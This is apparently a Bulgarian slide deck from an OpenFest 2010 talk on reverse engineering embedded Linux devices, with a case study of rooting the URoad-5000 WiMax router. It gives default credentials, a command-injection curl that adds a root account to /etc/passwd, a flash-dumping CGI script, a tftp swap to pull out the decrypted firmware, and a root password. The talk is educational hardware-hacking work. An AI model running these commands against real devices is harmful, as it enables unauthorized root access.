Reverse engineering of black box devices running Linux

Александър Станев
alex at stanev dot org
http://alex.stanev.org/blog

OpenFest 2010
Sofia, Interpred

За какво ще ви разкажа

- Легално ли е?
- Първи стъпки
- Дефиниране на достъпна област (attack surface)
- Идентифициране на Linux kernel в устройството
- Откриване на уязвимост
- Оглед на съдържанието
- Добавяне/модифициране на функционалност
- Средства за анализ
- Примерен подход: URoad-5000

Легално ли е?

- Доставчиците на хардуер и софтуер, използващи GPL компоненти са задължени да предоставят изходния код на продукта **към клиентите си**
- Понякога доставчиците правят опити за заобикаляне на изискванията на лиценза (Motorola eFuse boot loader) или въобще не предоставят нищо, скривайки факта, че използват GPL компоненти
- http://gpl-violations.org

OpenFest

Законът в България - I

ЗАКОН ЗА АВТОРСКОТО ПРАВО И СРОДНИТЕ МУ ПРАВА

Раздел VII. Използване на компютърни програми

Чл. 70. Ако не е уговорено друго, счита се, че лицето, което законно е придобило правото да използва компютърна програма, може да зарежда програмата, да я изобразява върху екран, да я изпълнява, предава на разстояние, да я съхранява в паметта на компютър, **да я превежда, преработва и да внася други изменения в нея, ако тези действия са необходими за постигане на целта, заради която е придобито правото да се използва програмата, включително и за отстраняване на грешки.**

OpenFest

Законът в България - II

ЗАКОН ЗА АВТОРСКОТО ПРАВО И СРОДНИТЕ МУ ПРАВА

Чл. 71. Лицето, което законно е придобило правото да използва компютърна програма, **може без съгласието на автора и без заплащане на отделно възнаграждение**:

2. **да наблюдава, изучава и изпитва начина на действие на програмата за определяне на идеите и принципите, които са залегнали в който и да е неин елемент**, ако това става в процеса на зареждането на програмата, изобразяването й върху екран, изпълняването й, предаването й на разстояние или съхраняването й в компютърната памет при условие, че той има право да извършва тези действия в съответствие с чл. 70;

Първи стъпки

- Дефинирайте ясно целите си
- Базови познания
- Преровете всички източници на информация, до които се докопате:
  - страници на производителя, документация
  - носители, идващи с устройството ви
  - блогове, форуми, irc ...
  - Firmware updates, tools
  - ...

OpenFest

Какво може да намерите вътре

- За по-слаб хардуер (MIPS/ARM/AVR/etc.)
  - BusyBox (http://www.busybox.net)
  - µClibc (http://www.uclibc.org)
  - thttpd, GoAhead, etc.
- За PC базирани системи
  - Gentoo, CentOS, Ubuntu
  - *BSD
  - ...
- Специализиран хардуер, интерфейси, драйвери!

OpenFest

Дефиниране на достъпна област (attack surface)

- Хардуер
  - Стандартни мрежови интерфейси (LAN, WLAN, etc.)
  - Серийни канали (COM), JTAG, USB, I^2C
  - EEPROM
- Софтуер
  - Сканиране на портове
  - Идентифициране на услуги (nmap -A)
  - Подслушване на трафика (sniffing) при нормалната работа на устройството или при конфигурирането му

OpenFest

Идентифициране на Linux базирано устройство

- TCP/IP stack fingerprinting
  - Следи за специфични параметри на TCP протокола
  - http://en.wikipedia.org/wiki/TCP/IP_stack_fingerprinting
- Информация от работещите услуги (banner grabbing)
  - Web servers
  - SMTP/IMAP/FTP
- Можете да попаднете на VxWorks, QNX или нещо съвсем специфично животно
- **Няма сигурен начин за идентификация!**

OpenFest

Откриване на уязвимост

- Повечето услуги на подобни устройства работят с правата на суперпотребител (root)
- Пароли по подразбиране или лесни за налучкване
- Тривиални пропуски при конфигурирането и/или в имплементацията

  Класически пример:

  DD-WRT: http://192.168.1.1/cgi-bin/;reboot
- Backdoors
- **Използвайте въображението си!**

OpenFest

Оглед на съдържанието

- Bootloader
- Boot процес
- Разпределение на вътрешната памет
- Наличен стандартен софтуер в устройството
- NVRAM конфигурация
- Специализирани драйвери
- Специфични конфигурации

OpenFest

Добавяне/модифициране на функционалност

- Конфигуриране на toolchain за специфичната платформа
- Често и shell скрипт върши работа
- Анализ и препакетиране на firmware
  - Firmware Modification Kit (http://www.bitsum.com/firmware_mod_kit.htm)
  - UWfirmforce (http://www.uberwall.org)
- При наличие на non-volatile памет, можете да добавите вашите модули в нея

Примерен подход: URoad-5000

- Устройство, разпространявано от един от WiMax операторите в България
- Маркетирано като „преходник“ между WiMax мрежата и WLAN – на практика представлява MIPS базиран WiFi wireless router, който за uplink използва WiMax USB модем
- Произвежда се от MODACOM (http://www.modacom.co.kr)

OpenFest

URoad-5000: Хардуер

- Wireless router – RaLink SoC 3050
  - CPU MIPS24KEc 320 MHz
  - RAM:Flash/16MB:4MB
  - 1xUSB 2.0
  - WLAN 802.11n
  - BAT
- MW-U3500 USB

OpenFest

URoad-5000: Първоначално проучване

- Ново устройство: почти никаква информация
- Firmware update на страницата на японски WiMax оператор http://www.shinseicorp.com/wimax/URoad-5000_v1450.bin
- Изтекъл RaLink SDK – базова система, без модификациите на MODACOM (WiMax драйвери)
- Опити за разпакетиране на firmware-а неуспешни -> криптиран

OpenFest

URoad-5000: Attack surface

- Два паралелни WLAN SSID – единия за клиенти, другия за изграждане на WDS мрежа между две или повече устройства

```
$nmap -A 192.168.100.254
Nmap scan report for 192.168.100.254
Host is up (0.0011s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
23/tcp    open  telnet  NASLite-SMB/Sveasoft Alchemy firmware telnetd
80/tcp    open  http    GoAhead-Webs embedded httpd
| html-title: Document Error: Unauthorized
|_Requested resource was http://192.168.100.254/admin/admin.asp
49152/tcp open  upnp    Portable SDK for UPnP devices 1.3.1
                                              (kernel 2.6.21.01; UPnP 1.0)
MAC Address: 00:0C:43:30:52:77 (Ralink Technology)
```

URoad-5000: административен web интерфейс

- admin:admin || engineer:engineer

```
<!--
<td width='2' height='36'><img src='../graphics/tab_bg_line.gif'></td>
<td width='120' height='36'>
<a href='/adm/system_command.asp' class='btn_bold_abw'>System Command</a>
</td>
<td width='2' height='36'><img src='../graphics/tab_bg_line.gif'></td>
<td width='100' height='36'>
<a href='/adm/syslog.asp' class='btn_bold_bbw'>System Log</a>
</td>
<td width='2' height='36'><img src='../graphics/tab_bg_line.gif'></td>
<td width='100' height='36'>
<a href='/cgi-bin/history.sh' class='btn_bold_bbw'>SDK History</a>
</td>
-->
```

```
<form action='/goform/SystemCommand'>
...
</form>
```

URoad-5000: проникване

- Добавяне на запис в /etc/passwd

  r00t:boza

```
curl -basic
    -u "admin:admin"
    -d "command=echo
    -e \"r00t:CRYM.sLY1U1AI:0:0:Adminstrator:/:/bin/sh\"
    >> /etc/passwd;&SystemCommandSubmit=Apply"
    192.168.100.254/goform/SystemCommand
```

```
$telnet 192.168.100.254
Trying 192.168.100.254...
Connected to 192.168.100.254.
modacom login: r00t
Password: boza
BusyBox v1.12.1 (2010-03-05 21:33:57 KST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
```

OpenFest

URoad-5000: под капака

- Ограничен shell
- Драйвери за USB WiMax dongle на MODACOM
- Web root

```
# cat /proc/cpuinfo
system type             : Ralink SoC
processor               : 0
cpu model               : MIPS 24K V4.12
BogoMIPS                : 212.99
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : yes
hardware watchpoint     : yes
ASEs implemented        : mips16 dsp
VCED exceptions         : not available
VCEI exceptions         : not available
```

OpenFest

URoad-5000: извличане на flash

- Създаваме f1.sh в cgi-bin
- Извличаме с втори скрипт

```
#!/bin/sh
echo "Content-type: text/text"
echo ""

flash -r $QUERY_STRING -c 60000
```

```
#!/bin/bash
for i in 0 EA60 1D4C0 2BF20 3A980 493E0 57E40 668A0 75300 83D60 927C0
           A1220 AFC80 BE6E0 CD140 DBBA0 EA600 F9060 107AC0 116520
           124F80 1339E0 142440 150EA0 15F900 16E360 17CDC0 18B820
           19A280 1A8CE0 1B7740 1C61A0 1D4C00 1E3660 1F20C0 200B20
           20F580 21DFE0 22CA40 23B4A0 249F00 258960 2673C0 275E20
           284880 2932E0 2A1D40 2B07A0 2BF200 2CDC60 2DC6C0 2EB120
           2F9B80 3085E0 317040 325AA0 334500 342F60 3519C0 360420
           36EE80 37D8E0 38C340 39ADA0 3A9800 3B8260 3C6CC0 3D5720
           3E4180 3F2BE0 401640 4100A0 41EB00 42D560 43BFC0 44AA20
           459480 467EE0 476940 4853A0 493E00 4A2860 4B12C0 4BFD20
           4CE780 4DD1E0 4EBC40 4FA6A0 509100 517B60 5265C0 535020
           543A80 5524E0 560F40 56F9A0 57E400 58CE60 59B8C0 5AA320
           5B8D80 5C77E0 5D6240 5E4CA0 5F3700 602160 610BC0 61F620
           62E080 63CAE0 64B540 659FA0 668A00 677460 685EC0 694920
           6A3380 6B1DE0 6C0840 6CF2A0 6DDD00 6EC760 6FB1C0 709C20
           718680 7270E0 735B40 7445A0 753000 761A60 7704C0 77EF20
           78D980 79C3E0 7AAE40 7B98A0 7C8300 7D6D60 7E57C0 7F4220
do
echo Iteration: $i
curl --basic -u "engineer:engineer"
    http://192.168.100.254/cgi-bin/f1.sh?$i >> flash.raw
done
```

root:dkswjswjqthr

OpenFest

URoad-5000: firmware flashing

- Firmware-а е криптиран; за да се запише, обаче, той трябва първо да се декриптира
- upload.cgi vs upload2.cgi
- дизасемблиране на upload.cgi
  - AES-CBC алгоритъм
  - декриптира upload-ния файл, използвайки hardcode-нат ключ
  - след вътрешни проверки, записва flash-а с mtd_write
- дизасемблиране на upload.cgi
  - стандартната версия от RaLink SDK

OpenFest

URoad-5000: декриптиране

- За да извлечем декриптирания firmware, ще използваме upload.cgi, като ще го „накараме“ вместо да го записва, да ни го изпрати :)
- За целта конфигурираме tftp сървър на нашата машина
- На устройството стартираме скрипта по-долу
- След това извършваме нормална процедура по обновяване на версията на firmware-а през web интерфейса

```
cd bin
mv mtd_write mtd_write-
echo /usr/bin/tftp -p -l \$6 -r uroad.bin 192.168.100.100  > mtd_write
echo exit 0 >> mtd_write
chmod +x mtd_write
```

OpenFest

„Мотики“ и средства

- Неразпространени encoding на данните (EBCDIC, UUENCODE, Base64, Intel HEX...)
- Little endinan, Big endian
- Използване на компресия и криптиране
- Променени сигнатури на файлови системи, структури от данни
- ...каквото още ви дойде на ум...

- Стандартни средства: strings, file, hexdump, nasm
- Затворени: OllyDbg, IDA Pro
- Емулатори: Bochs, QEMU, MIPSsim, vmips ...

OpenFest

Въпроси?

Reverse engineering of black box devices running Linux

Александър Станев
alex at stanev dot org
http://alex.stanev.org/blog

OpenFest 2010
Sofia, Interpred